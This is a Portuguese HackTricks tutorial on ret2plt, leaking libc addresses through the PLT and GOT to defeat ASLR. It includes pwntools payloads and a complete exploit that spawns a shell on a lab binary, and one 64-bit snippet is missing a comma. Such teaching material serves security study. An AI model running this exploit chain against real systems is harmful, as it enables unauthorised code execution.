hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

3 KiB

Ret2plt

Informações Básicas

O objetivo desta técnica seria vazar um endereço de uma função do PLT para poder contornar o ASLR. Isso ocorre porque, por exemplo, se você vazar o endereço da função puts da libc, você pode então calcular onde está a base da libc e calcular offsets para acessar outras funções como system.

Isso pode ser feito com um payload pwntools como (aqui):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Observe como o puts (usando o endereço do PLT) é chamado com o endereço do puts localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, no momento em que o puts imprime a entrada da GOT do puts, esta entrada conterá o endereço exato do puts na memória.

Também observe como o endereço do main é usado no exploit, para que quando o puts encerre sua execução, o binário chame main novamente em vez de sair (para que o endereço vazado continue válido).

{% hint style="danger" %} Observe que, para que isso funcione, o binário não pode ser compilado com PIE ou você deve ter encontrado um vazamento para contornar o PIE a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisará contornar o PIE primeiro. {% endhint %}

Você pode encontrar um exemplo completo desse contorno aqui. Este foi o exploit final desse exemplo:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Outros exemplos e Referências